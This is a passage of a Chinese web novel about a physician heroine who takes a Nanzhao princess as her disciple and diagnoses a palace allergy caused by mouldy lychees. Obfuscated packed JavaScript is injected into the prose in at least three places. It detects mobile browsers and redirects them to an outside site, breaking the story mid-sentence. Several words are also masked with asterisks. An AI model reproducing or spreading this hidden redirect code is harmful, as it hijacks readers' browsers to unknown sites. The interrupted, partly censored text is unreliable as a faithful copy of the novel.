“太好了!”大祭司喜出望外,“夫人放心!你所需一切东西,南诏定当全力配合。” 正事谈妥,气氛融洽。 玉萝缠着李梵娘问东问西,对教**局的事情充满好奇。 李梵娘耐心解答,还给她讲了一些简单的医理小故事,听得玉萝眼睛发亮。 天色渐晚,大祭司起身告辞。 玉萝依依不舍地拉着李梵娘的手:“姨姨,玉萝明天还能来找您玩吗?玉萝想去看春儿妹妹!” “当然可以。”李梵娘笑着应道,“春儿也一定很想和玉萝姐姐玩。” 送走南诏使臣,杜仁绍揽住李梵娘的肩:“累了吧?又要操心南诏的事了。” “不累。”李梵娘靠在他怀里,看着玉萝蹦蹦跳跳离去的背影,眼中带着暖意。 “能帮到他们,看到玉萝那孩子眼里的光,挺好的。而且,编撰药典,也是件有意义的事。” “嗯。”杜仁绍低头吻了吻她的发顶,“你开心就好。只是…别太辛苦。” “知道啦。”李梵娘轻笑,“有你在,有春儿在,再辛苦也值得。” 前厅的烛火熄灭,后院寝室的烛光却温暖依旧。 李梵娘坐在床边,看着女儿恬静的小脸,又想起玉萝那小丫头。 她知道,她的路还很长,要救 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李梵娘含笑看着这一幕,心中一暖。 玉萝的活泼开朗,春儿对她很是依赖亲近。 玉萝也特别喜欢这个小妹妹,软乎乎的,还爱撒娇,可爱**。 她端起茶杯,轻轻啜饮,享受着这难得的悠闲。 “梵娘,”张大娘笑着道,“玉萝公主真是个好孩子,又懂事又贴心,跟春儿投缘得很。” “是啊。”李梵娘点头,“这孩子,心性纯良,是个学医的好苗子。” 正说着,南诏大祭司也到了。 他换了一身较为朴素的常服,脸上带着笑意,看到玉萝和春儿玩得开心,眼中满是欣慰。 “夫人,叨扰了。”大祭司拱手行礼。 “大祭司客气了,请坐。”李梵娘示意他坐下,“玉萝和春儿玩得正好。” “这孩子,昨晚回去就兴奋得睡不着,直念叨着要来找姨姨和妹妹。”大祭司看着玉萝,眼里带着慈爱,“她对夫人,是真心敬仰和亲近。” 第一百七十三章 拜师 “玉萝天性单纯善良,我也很喜欢她。”李梵娘微笑道,“关于她入教**局学医之事…” “姨姨!”玉萝听到学医两个字,立刻抱着春儿跑了过来,眼里满是期待和紧张。 “姨姨!您答应了吗?玉萝真的想学!” 李梵娘看着她满脸认真的小模样,放下茶杯,正色道:“玉萝,学医的路,漫长且艰辛。不仅要熟记药性病理,更要经历生老病死,面对病痛与绝望。” “它需要很强的耐心、毅力,更重要的,是一颗永不放弃的仁心。你…真的准备好了吗?” 玉萝赶紧点头,脸上满是坚定。 “姨姨,玉萝准备好了,玉萝不怕苦不怕累,玉萝想学医术,想像姨姨一样,帮助那些生病的人。” “让他们不再痛苦,让南诏的孩子们,都能像春儿妹妹一样健康快乐地长大!”她的话语虽然很稚嫩,却带着坚定的决心。 李梵娘心中动容。 她看向大祭司:“大祭司,国主那边…” “夫人放心!”大祭司立刻道,“国主和皇后娘娘得知玉萝有和您学医的志向,欣喜万分,全力支持,只盼玉萝能得夫人传授,将来造福南诏,一切…全凭夫人安排。” “好!”李梵娘点点头,目光转向玉萝,神情庄重严肃,“玉萝,既然你心意已决,国主与大祭司也都同意了,今天我便正式收你为徒。” “真的?”玉萝瞪大了眼睛,随即反应过来,连忙放下春儿,扑通一声跪倒在地,恭恭敬敬地磕了三个头。 “徒儿玉萝,拜见师父,师父在上,请受徒儿一拜!” “快起来。”李梵娘扶起她,眼中带着笑意和期许,“从今日起,你便是我李梵娘的弟子,亦是皇家医药教**局的学生。” “我会教你医术,更会教你医德。望你勤勉刻苦,心怀仁爱,不负所学,不负南诏百姓之期望。” “是,师父,徒儿谨记师父教诲!”玉萝激动得小脸通红。 “恭喜夫人!恭喜公主殿下!”张大娘和周围的侍女仆役纷纷道喜。 春儿虽然不太明白发生了什么,但看到玉萝姐姐这么高兴,也拍着小手咯咯笑:“姐姐拜师!姐姐拜师!” 拜师仪式就简单的让玉萝敬了杯茶。 李梵娘取出一枚早就准备好的银针,作为入门的礼物送给玉萝:“此针,象征医者仁心,悬壶济世。望你持此针,不忘今日誓言。” 玉萝双手接过银针,像捧着什么稀世珍宝,眼里闪着泪光:“谢谢师父,徒儿定当珍之重之,不负师父所望!” 拜师结束,玉萝正式成为了李梵娘的弟子。 她迫不及待地拉着李梵娘的手:“师父,玉萝什么时候可以去教**局?玉萝想现在就学!” 李梵娘失笑:“不急,教**局有教**局的规矩,今天你先熟悉一下府里环境,陪陪春儿妹妹。” “明日一早,我带你去教**局报到,安排你的课业。” “好!”玉萝点点头,开心地跑回去抱起春儿。 “春儿妹妹,姐姐明天要去学医啦,学好了给春儿妹妹看病!保证春儿妹妹永远不生病!身体棒棒的!” “姐姐最棒!”春儿奶声奶气地夸道。 李梵娘:…… 倒也不必,春儿可以不生病的。 看着两个小姑娘亲昵的样子,李梵娘和大祭司相视一笑。 翌日清晨,阳光明媚。 玉萝早早便穿戴整齐等着李梵娘,一身教**局的学员服穿在她身上,显得小丫头格外精神利落。 她背着一个崭新的小药箱,别问,问就是她的亲亲师傅送的,脸上满是兴奋和期待。 教**局内的众人,早就接到消息。 周院正、刘二柱等教**局骨干,以及部分学员,都在门口等着。 看到李梵娘下车,众人满脸骄傲,“医仙大人,您来啦?” “各位请起。”李梵娘微微颔首,将身边的玉萝引上前。 “这小丫头是南诏的玉萝公主,也是我新收的弟子。从今天起,她进入教**局学习。玉萝,见过周院正,刘教**。” 玉萝落落大方地上前一步,行了一个标准的弟子礼:“玉萝见过周院正,刘教**,各位师兄师姐们,玉萝初来乍到,请多多指教啦。” 她年纪虽然不大,但身为公主,气度不凡,言语得体,众人对她很有好感。 “公主殿下客气了!”周院正连 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她指着图谱和模型,从最基础的骨骼、肌肉、五脏六腑开始讲起,用最浅显易懂的语言, 结合一些生活中的小例子。 比如为什么跑步会心跳加速,为什么吃多了会肚子胀,深入浅出地讲着人体。 玉萝听得很认真,脸上满是惊叹。 她从未想过,自己的身体里居然能放这么多东西啊,而且还互不打扰哎。 “师父!这里…这里是心吗?它真的会一直跳吗?” “师父!为什么我们受伤了,血会自己止住?” “师父!……” 她像十万个为什么,李梵娘耐心地一一解答。 师徒俩一问一答,气氛特别融洽。 第一课结束,玉萝意犹未尽的看着书,抱着那本图谱和模型爱不释手:“师父!徒儿回去一定好好看!好好记!” “嗯。”李梵娘欣慰地点点头,“学医不能急于求成,要循序渐进,打好基础。明天,我教你认识药材。” “是!师父!”玉萝用力点头。 第一百七十四章 集体过敏 接下来的日子,玉萝正式开始了她在教**局的学习生涯。 她聪慧过人,又勤奋刻苦,很快便展现出了惊人的天赋。 无论是枯燥的药性背诵,还是复杂的经络穴位,她都能快速掌握。 在模拟实践课上,她更是表现出色,细心、耐心、有爱心,赢得了师兄师姐们的喜爱和尊重。 李梵娘对这个弟子也极为满意。 她不仅亲自教导玉萝,还特意安排了几位经验丰富的老太一轮流指导她。 玉萝的进步,一日千里。 玉萝的到来,也为教**局增添了一抹亮色。 她活泼开朗,待人真诚,丝毫没有公主的架子。 她经常带着南诏的点心分给大家,休息时给大家讲南诏的风土人情和神山传说,很快就和其他人打成一片。 她与春儿的感情更是日益深厚。 每天从教**局回来,第一件事就是去找春儿玩,给她讲今天学了什么,做了什么,逗得春儿咯咯直笑。 两个小姑娘形影不离,情同姐妹。 镇国公府里,因为玉萝的到来,变得更热闹了。 杜仁绍看着妻子悉心教导弟子,看着女儿和玉萝玩耍,脸上也时常露出笑意。 他深知,李梵娘收下玉萝,不仅是传授医术,更是在南疆埋下了一颗仁心仁术的种子,未来必将开花结果,惠及万民。 这日傍晚,李梵娘正在书房批阅教**局的公文,玉萝敲门进来,捧着一杯刚沏好的热茶。 “师父,您辛苦了,喝杯茶歇歇吧。”玉萝将茶放在书案上。 李梵娘抬头,看着眼前亭亭玉立的少女,心中满是欣慰。 短短时日,玉萝身上那份属于南诏公主的娇憨褪去了几分,多了几分医者的沉稳。 “谢谢玉萝。”李梵娘端起茶杯,抿了一口,“今日的课业都完成了?” “嗯!”玉萝点头,“周院正讲的《伤寒论》初解,徒儿都记下了。刘教**带我们辨识了十种常用药材,徒儿也都分清了。” “很好。”李梵娘放下茶杯,“玉萝,学医不仅是学知识,更要学如何思考,如何面对生死。” “过几日,教**局会组织学员去惠民医馆见习,你也一起去吧。去看看真正的病人,体会一下医者的责任。” “真的吗?太好了!”玉萝眼睛一亮,随即又有些紧张,“师父…徒儿…徒儿怕做不好…” “别怕。”李梵娘温和地鼓励道,“多看,多听,多问,少说。用心去感受病人的痛苦和希望。记住,医者仁心,是医术的根本。” “是!师父!徒儿记住了!”玉萝用力点头。 就在这时,管家张贵匆匆走了进来,脸上带着凝重:“夫人,教**局惠民医馆那边…刚送来急报,说…说宫中几位娘娘突发急症。” “症状相似,皆高热不退,全身长满红斑,伴有剧烈头痛和呕吐,太医署束手无策,陛下急召夫人入宫诊治,宫里的马车…已在府外等候!” “宫中娘娘?”李梵娘眉头微蹙。 高热、红斑、头痛、呕吐…这症状听起来像过敏反应或**,但“几位娘娘同时发作”,范围集中…… “师父!”玉萝紧张地抓住李梵娘的衣袖。 “徒儿…徒儿能跟您一起去吗?”她眼中既有担忧,又有渴望。 李梵娘看着她,沉思片刻,点头道:“好!你随为师同去,记住,多看,多听,少言,一切听为师安排。” “是!师父!”玉萝精神一振,立刻挺直腰板。 “梵娘!”杜仁绍闻讯也赶了过来,脸色微沉,“怎么回事?宫中出事?” “几位嫔妃突发急症,症状相似,陛下急召。”李梵娘快速解释,“我带玉萝去看看。应该不是瘟疫,更像是**或过敏。” “**?”杜仁绍眼神一厉,“我陪你进宫!” “不用。”李梵娘摇摇头,“你去了反而引人注目。放心,有玉萝在,还有太医署的人,不会有危险。你在府里等我消息。” 杜仁绍看着李梵娘的样子,知道她自有分寸,点点头。 “好。万事小心。王猛!带一队亲卫,护送夫人和公主入宫!在宫外等候!” “得令!” 李梵娘带着玉萝,直奔皇宫。 福宁宫内,气氛紧张压抑。 几位嫔妃被安置在偏殿的软 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“娘娘,请问发病前,可曾吃过什么特别的东西?或者接触过什么?”李梵娘轻声询问。 那嫔妃虚弱地摇头,声音嘶哑:“没…没什么特别的…就是…就是午膳后…吃了些…荔枝…然后就…就觉得浑身发痒…然后就…” “荔枝?”李梵娘眼神一凝。 荔枝性热,容易诱发过敏。 但宫中嫔妃,吃荔枝不算罕见。 “其他娘娘呢?”李梵娘转向旁边几位。 “我…我也吃了荔枝…” “我也是…御膳房新进的岭南荔枝…很甜…” “还有我…” 几位发病的嫔妃,都吃了荔枝。 “荔枝?”皇帝皱眉,“荔枝虽好,但也不至于如此吧?太医署也查了,荔枝无毒啊!” “陛下,”李梵娘心中已有猜测,“荔枝本身无毒,但…若存放不当,或个体不耐受,可诱发剧烈过敏反应,症状…正与几位娘娘相符。” “过敏?”皇帝和贵妃都愣住了。 这个词对他们来说很陌生。 第一百七十五章 发霉的荔枝 “对!”李梵娘解释道,“过敏,即身体对于某些本来没有毒的东西,产生过度反应,会导致皮肤红肿、瘙痒、呼吸困难、甚至停止呼吸,严重者可能丢掉性命。” “啊?”殿内众人听完李梵娘的话都懵了,生活中这些普通的东西,竟然能让人**? “那…那现在怎么办?”贵妃急切问道,她得问清楚,别哪天自己也过敏给嘎喽。 “现在最重要的是抗过敏,止痒,退热,防止抓挠感染。” “请陛下、娘娘先去外殿待会儿,以免人多影响治疗。玉萝,准备东西。” “好嘞,师父。”玉萝立刻打开随身携带的小药箱,里面是李梵娘提前准备的常用急救药品。 “系统,来点儿苯海拉明、**注射剂、炉甘石洗剂、冷敷贴。” 【okk,宿主大大,我都放在玉萝的箱子里了。】 “玉萝,取1号针剂和2号针剂,给淑妃娘娘打。”李梵娘一边吩咐,一边为另一位嫔妃注射。 她一边注射一边给玉萝讲解:“过敏反应,按情况打针,轻的不要用激素,严重的病人,需要加**,用来抑制炎症反应…” 玉萝认真听着她的每一句话,学着李梵娘的样子,小消毒、进针、推药。 虽然手有些抖,但在李梵娘的鼓励表扬下,顺利完成了。 接着,李梵娘又指导玉萝和宫女,用炉甘石洗剂给嫔妃们擦拭红斑肿块的地方止痒,贴上冷敷贴降温,并叮嘱她们千万不要伸手抓挠。 药物注射之后,立马见效。 不到一刻钟,嫔妃们的瘙痒感明显减轻了不少,烦躁的情绪也平复下来。 高热也开始慢慢降下去。 头痛和呕吐的症状也有所缓解。 “神了!真的神了!” “不痒了!真的不痒了!” “谢谢医仙娘娘!谢谢医仙徒弟!” 嫔妃们喜极而泣,纷纷道谢。 玉萝听到有人和她道谢,小脸微红,嘴角就没下去过,小丫头很有成就感。 皇帝和贵妃听到动静赶紧进来,看到嫔妃们情况好转不少,都松了口气。 “李夫人真乃神医,”皇帝赞叹道,“这‘过敏’之说,朕闻所未闻,见所未见,今日算是长见识了。” “陛下过奖。”李梵娘躬身,“过敏反应虽然看着凶险,但找准诱导过敏的原因,及时用药,大多数可以迅速缓解,没什么大事。” “只是…几位娘娘的过敏源,需仔细排查一下,避免再次过敏。” 她转向几位嫔妃:“娘娘们仔细想一下,除了荔枝,午膳前后,还吃过或接触过其他相同的东西?” “比如…某种点心?某种香料?或者…新换的熏香、胭脂水粉?” 嫔妃们仔细想了想,都摇头。 “点心…都是常吃的…” “熏香…也是惯用的…” “胭脂水粉…也没换新的…” “就是…就是那荔枝…特别甜…比往年都甜…” “荔枝…”李梵娘若有所思,“荔枝是御膳房统一供应的吗?其他宫里的娘娘可有食用?有无类似症状?” 贵妃立刻接话:“本宫也吃了不少,并无不适。其他宫里的妹妹们,似乎也没听说有事。” “这就奇怪了…”李梵娘眉头微蹙。 如果只有这几位嫔妃过敏,而其他人吃了同样的荔枝没事,那问题可能不在荔枝本身,而在于…这批荔枝的储存或处理方式出现了差错? “陛下,娘娘,”李梵娘看向两人,“臣妇想去御膳房看看这批荔枝,并请几位太医协助,检查荔枝有无异常。” “准!”皇帝立刻下令,“高德胜,带李夫人去御膳房,任何人不得阻拦!” 御膳房里,气氛紧张。 总管太监早就得到消息,战战兢兢地等在门口。 存放荔枝的冰窖让人打开,站在外面都有寒气顺着飘过来。 李梵娘带着玉萝,以及太医署两位资历比较深的老太医,一起进入冰窖。 冰窖内,整齐地码放着许多用竹筐装着的荔枝。 大部分荔枝色泽红润,果壳完好。 但李梵娘发现,其中几筐荔枝,果壳颜色偏暗,有些甚至出现了细小的霉点。 这都发霉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16378393|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了啊? “这些荔枝…存放多久了?”李梵娘指着那几筐问道。 总管太监冷汗涔涔:“回…回夫人…这批荔枝是五日前快马从岭南运过来的…按照惯例,用冰镇着…最多存放七日…这几筐…” “可能是…可能是路上颠簸,或是…冰放得不够均匀…有些…有些受热了…” “受热?”李梵娘眼神一凝。 荔枝本就是娇贵水果,受热就很容易变质,滋生霉菌。 她拿起一颗有霉点的荔枝,仔细看了看。 果壳缝隙处,隐约可见一些其霉丝。 “系统,扫描下荔枝。” 【呕吼,宿主,这发霉均匀啊,青霉菌、黄曲霉菌齐了。】 李梵娘无语了,难怪只有部分嫔妃中招。 这些嫔妃很可能对霉菌过敏,而其他嫔妃要么没吃到变质的荔枝,要么体质好。 “问题找到了。”李梵娘对两位太医道,“是荔枝变质滋生了霉菌,霉菌被吸入或沾染皮肤,引发的过敏反应。” “霉菌?”太医们面面相觑,他们从未想过,小小的霉点还能引起这么严重的病症。 “那…那这些荔枝…”总管太监吓得面无人色,这可不能吃**啊,这要**,他们都得脑袋搬家。 “全部销毁。”李梵娘吩咐下去,“冰窖彻底清洗消毒,所有接触过这批荔枝的器具、人手,全部用烈酒擦洗,防止孢子扩散。” “是!是!奴才立刻去办!”总管太监连滚爬爬地跑了。 李梵娘又对两位太医道:“烦请两位大人,仔细检查宫中其他水果、食材的储存情况,尤其是易腐的食物,务必确保新鲜。” “并给各宫传消息,近期若有食用荔枝后不适者的人,立刻上报。” “下官遵命!”两位太医连忙应道,心中对李梵娘佩服得简直是五体投地。 困扰太医署半日的难题,在她手中,不到一个时辰就迎刃而解。 回到福宁宫偏殿,几位嫔妃的情况已经好转不少。 红斑的颜色开始变淡,瘙痒基本消失,体温也恢复了正常,头痛呕吐也止住了。 第一百七十六章 大胤医典 她们正由几个宫女扶起来喝着清淡的米粥。 看到李梵娘回来了,嫔妃们纷纷挣扎着想起身和她道谢。 “娘娘们快躺好。”李梵娘连忙阻止,“过敏源我已经查清楚了,是御膳房部分荔枝储存不当,滋生霉菌导致的。” “娘娘们体质敏感,所以反应剧烈。现在已经没什么大碍了,但需要静养几日,按时喝抗过敏药,饮食清淡些,避免抓挠。过几日那些红斑会慢慢消掉。” “多谢医仙娘娘救命之恩!”嫔妃们对她很是感激。 笑话,没听到人家说这要救治不及时,都容易窒息人没了吗? 这是救命恩人啊! “夫人医术通神,明察秋毫,朕心甚慰!”皇帝龙颜大悦,“高德胜,传旨,御膳房总管失职,杖责三十,罚俸一年!相关人等,一律严惩!另,赏赐几位受惊的嫔妃!” “是!”高公公领命。 贵妃娘娘也上前拉着李梵娘的手,感慨道:“今日若不是夫人你,后果就不堪设想了。本宫代妹妹们,谢过夫人了。” “贵妃娘娘言重了,此乃臣妇分内之事。”李梵娘谦逊道。 “师父!”玉萝在一旁,小脸上满是兴奋和崇拜。 “徒儿明白了,原来…过敏反应是这样,找到过敏源,就能对症下药,而且…小小的霉菌,也能引起这么大的反应!太神奇了!” 李梵娘看着玉萝的样子,心中很是欣慰。 这次意外,倒成了玉萝的实践课。 “是啊,”她捏了捏小丫头的脸,“医道之精微,往往在于见微知著。” “寻常之物,在特定的条件下,也可能成为致病的原因。所以,我们行医,不仅要治病,更要究其根本,防患于未然。这也是‘上医治未病’的道理。” “徒儿明白了!”玉萝用力点头,将李梵娘的话牢牢记在心里。 皇帝看着这对师徒,眼中满是赞赏:“玉萝公主聪慧好学,得夫人真传,将来必成大器,南诏有福啊!” “陛下过誉了。”李梵娘微笑,“玉萝天资聪颖,又肯用心,假以时日,必能有所成就。” 处理完宫里的事情,李梵娘带着玉萝离开了。 走出宫门。 “师父,”玉萝抱着她的胳膊,声音带着疲惫和兴奋,“今天…徒儿学到了好多,原来当医者…不仅要会用药,还要像捕快一样,追根溯源,找到根本。” “嗯,”李梵娘笑着摸摸她的头,“感觉如何?怕不怕?” “一开始…看到娘娘们的样子,有点怕…”玉萝老实承认,“但是…跟着师父,看到师父那么镇定,那么快就找到了原因,治好了她们…徒儿就不怕了。反而…觉得很厉害,很…很有意义!” “这就好。”李梵娘欣慰道,“记住这种感觉。救死扶伤带来的成就感和满足感,是任何东西都无法替代的。这就是医者的初心。” “嗯,徒儿记住了。”玉萝用力点头,眼神坚定。 回到府上,杜仁绍早就等在门口。 看到妻子和小丫头安然无恙地回来,他紧绷的脸才缓和下来。 “怎么样?没事吧?”他迎上前,目光关切地扫过两人。 “没事。”李梵娘笑着摇头,“虚惊一场。是御膳房的荔枝存放不当,荔枝发霉导致的过敏。” “过敏?”杜仁绍对这个词也有些陌生。 李梵娘简单解释了一下。 杜仁绍听完,松了口气:“原来如此。没事就好。”他看向玉萝,“玉萝今天表现如何?” “玉萝今天很棒。”李梵娘赞许道,“临危不乱,认真学习,还亲手为娘娘打了针。” 玉萝被夸得小脸微红,不好意思地低下头。 杜仁绍眼中也露出笑意:“好,没给你师父丢脸,累了吧?快进去歇着,张大娘准备了你爱吃的点心。” “谢谢师公!”玉萝道谢后,赶紧跑进府里找春儿去了。 杜仁绍牵着李梵娘,两人并肩走进府门。 夕阳将两人的身影拉得很长。 “辛苦你了。”杜仁绍看着她。 “不辛苦。”李梵娘靠在他肩头,声音带着满足,“能帮到人,看到玉萝成长,挺好的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她第一次如此直观地感受到师父的博学和这部医典的振奋人心。 “师父…这…这太厉害了!”玉萝看着那幅详细的人体经络穴位图,惊叹不已,“比我们南诏的巫医图谱清楚多了。” “医学是永无止境的。”李梵娘放下笔,温和地看着她,“这本书,只是开始。未来,还需要你们这些后辈,不断去学习、实践、完善它。” “嗯!徒儿一定努力!”玉萝用力点头。 杜仁绍也没闲着。 他调派玄甲军负责在这期间的安保,确保万无一失。 同时,派人协助教**局布置要用的场地,搬运物资。 看着妻子没停歇的身影,他心里满是骄傲和怜惜。 庆典前夜,李梵娘终于完成了这本书的最后审阅。 她站在窗前,看着远处的教**局,心中感慨万千。 从杜家村的默默无闻的乡野村妇,到如今掌管教**局、编纂医书、名扬天下… 这一路走来,很难,但也很开心很有成就感。 而这一切的起点,是她对生命的敬畏,是她那颗永不熄灭的医者仁心。 “梵娘,”杜仁绍不知何时走了进来,从身后轻轻环住她,“累了吧?” 李梵娘靠在他怀里,摇摇头:“不累,心里…反而很踏实。” “明天,你会是全场最引人注目的人。”杜仁绍的声音带着笑意和自豪,“我的夫人,护医仙娘娘,当之无愧,为夫以后都要仰仗夫人了。” 李梵娘转过身,踮起脚尖,在他唇上轻轻印下一吻:“谢谢你,仁绍,一直在我身边。” 三日后,皇家医药教**局。 天公作美,碧空如洗,阳光明媚。 教**局内外,张灯结彩,旌旗招展。 通往教**局的主道上,早已被玄甲军肃清**,五步一岗,十步一哨,盔明甲亮,气势森严。 道路两旁,挤满了闻讯而来的京城百姓,人人脸上洋溢着兴奋和期待,都想一睹“医仙娘娘”的风采和那传说中的《大胤医典》。 教**局中央广场,临时搭建起一座高台。 高台中央,摆放着象征皇权的龙椅和御案。 高台两侧,是文武百官的观礼席。 广场四周,则整齐地排列着教**局全体学员、以及受邀前来的各地名医,神情激动而肃穆。 巳时正刻,鼓乐齐鸣。 “陛下驾到——!” “太子殿下驾到——!” “贵妃娘娘驾到——!” 内侍的唱喏声响起。 皇帝身着龙袍,在太子李睿、贵妃以及一众宫人的簇拥下,登上高台,落座龙椅。 百官齐声山呼万岁。 紧接着,是各国使臣入场。西羌、南诏、高丽、琉球、北狄等使团依次进入观礼席位,神色各异,但都带着好奇与敬畏。 最后,在万众瞩目下,李梵娘在杜仁绍的陪同下,慢慢走向高台。 她今日穿着一身庄重而不失雅致的月白色提督官服,外罩一件绣着银色缠枝莲纹的素色罩衫,长发挽成简单的发髻,只戴了一支白玉簪,通身无过多首饰,自有一股清雅高华、不容亵渎的气质。 杜仁绍则是一身玄色国公常服,身姿挺拔如松,默默守护在她身侧。 “护国医仙娘娘千岁!”人群中不知谁先喊了一声,其余的人纷纷跟着喊。 “医仙娘娘千岁!” “护国圣手!医仙娘娘!” 百姓们激动地高呼着,像多米诺骨牌一样跪拜成一片。 教**局的学员和医者们更是激动得热泪盈眶,齐声高呼:“提督大人!提督大人!” 李梵娘微微颔首,向人群致意,目光平静。 杜仁绍则扫视四周,确保安全。 两人登上高台,向皇帝、贵妃、太子行礼。 “平身!”皇帝满面红光,声音洪亮,“李爱卿!杜爱卿!今日,乃我大胤医道昌明之盛典!《大胤医典》初成,功在当代,利在千秋,朕心甚慰!” “全赖陛下洪福,臣等不敢居功。”李梵娘和杜仁绍躬身道。 “好!”皇帝大笑,“吉时已到!请《大胤医典》!” 随着皇帝一声令下,一个教**局的学员,神情庄重地抬着捧着盖着黄色绸缎的书匣,缓缓走上高台。 书匣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16378395|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉重,象征着其承载的知识。 李梵娘上前一步,在所有人的注视下,轻轻掀开了锦缎。 哗——! 全场一片寂静。 书匣内,整齐地码放着数十卷装订精致,散发着淡淡墨香的书籍。 书封是深蓝色的,上面写着四个烫金大字《大胤医典》,字体遒劲有力。 “《大胤医典》,共分九卷,三十八篇,七百六十五章。”李梵娘的声音地传遍全场,“涵盖医理、本草、方剂、内外妇儿、针灸推拿、急救防疫、融汇古今医学知识,旨在规范医学,传承医术,普惠天下苍生。” 每一个字,都敲在在场每一个人的心上。 每一个字,都点燃了百姓眼里的希望。 “此乃医学瑰宝,济世之书。”皇帝激动地站起身,“朕宣布!《大胤医典》初成庆典开始。” “吾皇万岁万岁万万岁!” “医仙娘娘千岁千岁千千岁!” 首先将第一卷《总纲》献于皇帝御览。 皇帝郑重接过,翻开首页,看着里面的解剖图、药材图、穴位图等图片,连声称赞。 随后,各国使臣也纷纷上前,献上贺礼,表达对《大胤医典》的敬仰和对李梵娘的钦佩。 南诏大祭司更是激动地表示,南诏将第一时间引进《医典》,并恳请李梵娘允许南诏翻译刊印。 庆典的高潮,是李梵娘受赏。 “奉天承运,皇帝诏曰:医仙李梵娘,仁心仁术,编纂《大胤医典》,功在社稷,利在千秋。赏黄金万两,良田千顷!其开创的新医术,定为国本!钦此!” “臣妇谢陛下隆恩!”李梵娘深深叩拜。 “师父!师父!”玉萝在观礼席上,激动得小脸通红,拼命地鼓掌,眼中满是激动的泪水。 春儿被杜仁绍抱在怀里,也学着姐姐的样子,用力拍着小手:“娘亲最棒!娘亲最棒!” 杜仁绍看着高台上那个光芒万丈的女子,眼中是毫不掩饰的骄傲和深情。 他的梵娘,他的妻子,是他的骄傲,这个国家的福气。 他现在都想哭了,这么好的妻子,这辈子死而无憾了。 第一百七十八章 南诏王后 庆典结束后,皇帝和大臣们移步去了教**局藏书阁,参观书籍和一些手术用的工具。 各国使臣和名医们看着更是连声赞叹。 走到哪,都是一片哇声。 李梵娘被众人围在中间,各种祝贺和赞美的话不要钱似的往外扔。 她脸上始终挂着笑,却没有将功劳都揽到自己头上。 她将功劳大部分安到皇帝头上,以及所有人的努力付出。 “夫人!”周院正激动地走过来,声音都有些发颤,一看就是激动过度了。 “《医典》已经完成了,这是大胤的荣幸,我在有生之年能看到这些…现在**都值了。” “周老这话说的就重了。”李梵娘扶住他,“这只是我们刚迈出去的第一步,还没有结束呢。以后还有千千万万优秀的医者,会不断去完善它,让这本书继续充盈,以至于惠及百姓。” “遵命,夫人。”周院正和刘二柱等人笑着说。 傍晚时分,人们渐渐散去。 李梵娘终于得以脱身,回到杜仁绍和孩子们身边。 “娘亲!”春儿一路小跑着扑进她怀里,“娘亲今天好漂亮,像仙女一样哎!” “师父!”玉萝也跑过来,眼睛亮晶晶的,“您太厉害了,徒儿…徒儿以后也要写书!” “好!”李梵娘笑着搂住她们,“等你们长大了,学有所成,我们一起写。” 杜仁绍走过来,将一大一小都搂在怀里,“累坏了吧?回家?” “嗯,回家。”李梵娘靠在他肩头,脸上是幸福的笑。 真好。 就在李梵娘等人准备坐马车回府时,一个南诏的随从急匆匆地跑到大祭司身边,小声说了几句话。 大祭司脸上的表情变了变,随后快步走到李梵娘面前,“夫人!刚刚收到南诏来的书信,王后娘娘…已经启程赶来京城,说是过不了几日就到了,娘娘想要亲自向夫人表示感谢,顺便看看玉萝公主怎么样。” 玉萝公主一听母后要来,兴奋得脸通红,一连几天都坐立不安。 天天掰着手指头算日子,还拉着春儿一起,把房间收拾得干干净净,准备了好多小点心,说要给母后一个惊喜。 李梵娘和杜仁绍也变得忙起来。 南诏的王后亲自来,这可不是小事儿,说是来探望女儿,其实也是南诏国主对李梵娘和大胤的信任。 镇国公府上上下下开始忙碌起来,打扫庭院,布置客房,准备一些符合南诏口味的吃食。 教**局那边,周院正也听说了南诏的王后娘娘会来参观,赶紧收拾教**局,顺便调整了一下课表,让王后娘娘来的时候,可以看到玉萝公主在这儿学了什么,学的怎么样。 七日后,京城的南门。 皇帝虽然没有亲自来,但也派了太子李睿代表皇室,率礼部官员们在城门外迎接。 杜仁绍、李梵娘带着玉萝和春儿,以及南诏大祭司等人,早早就等在了那里。 午时刚过,一支规模不算大,但看起来很华丽的车队出现在官道尽头。 队伍中央,是一辆被四匹骏马拉着的华贵马车。 马车缓缓停下。 帘幕掀开,南诏王后是一位面容温婉的中年美妇人,在宫女的搀扶下,优雅地走下马车。 她目光扫过众人,最终落在那个眼眶发红、拼命踮着脚尖的少女身上。 “母后!”玉萝再也忍不住,跑过去,扑进王后怀里。 “玉萝!我的孩子!”王后紧紧抱住女儿,声音哽咽,眼里满是泪水。 她仔细端详着女儿,摸了摸她的脸、头发,眼满满的思念。 “长高了…也瘦了…但气色真好!真好!”她看到女儿的那股灵动劲儿,以及眉宇间多出来的自信,心中更是欣慰不已。 “母后!玉萝好想您!”玉萝依偎在母亲怀里,泪水止不住地流下。 “母后也想你,日日想,夜夜想。”王后声音温柔,轻轻拍着女儿的背。 